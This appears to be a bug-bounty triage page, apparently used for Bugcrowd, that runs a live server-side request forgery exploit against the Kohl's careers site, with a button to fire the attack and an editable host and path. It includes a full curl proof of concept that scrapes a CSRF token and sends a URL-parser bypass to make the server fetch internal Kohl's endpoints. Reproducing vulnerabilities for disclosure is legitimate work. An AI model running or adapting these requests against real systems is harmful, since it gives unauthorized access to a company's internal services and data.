Bugcrowd triage · live exploit runner

Kohl's Careers · Phenom `cloudFile` full-read SSRF

Click Run live exploit — this page opens a terminal, gets an anonymous careers session, sends the Dropbox #@ bypass to /widgets, and prints detailResume live.

Host (after #@)

Path

fileName

LIVE TERMINAL Server-side PoC via /api/run (CORS-safe)

Exploit result · `detailResume`

(run exploit to fill)

Manual curl PoC (same attack)

curl -sS -c cookies.txt 'https://careers.kohls.com/' -o home.html
CSRF=$(grep -oE '[A-Fa-f0-9]{32}' home.html | head -1)

curl -sS -b cookies.txt -H "x-csrf-token: $CSRF" -H 'Content-Type: application/json' \
  -d '{"ddoKey":"cloudFile","fileName":"poc.txt","fileLoc":"https://dl.dropboxusercontent.com:443#@arcwebservices.kohls.com/actuator/health","apTxnId":"poc1","formData":{"refNum":"KLHKUS","fileLoc":"https://dl.dropboxusercontent.com:443#@arcwebservices.kohls.com/actuator/health","fileName":"poc.txt"},"requestData":{}}' \
  'https://careers.kohls.com/widgets'

Authorized Bugcrowd reproduction only · Asset careers.kohls.com · Bypass https://dl.dropboxusercontent.com:443#@<host><path>

Kohl's Careers · Phenom cloudFile full-read SSRF

Exploit result · detailResume

Manual curl PoC (same attack)

Kohl's Careers · Phenom `cloudFile` full-read SSRF

Exploit result · `detailResume`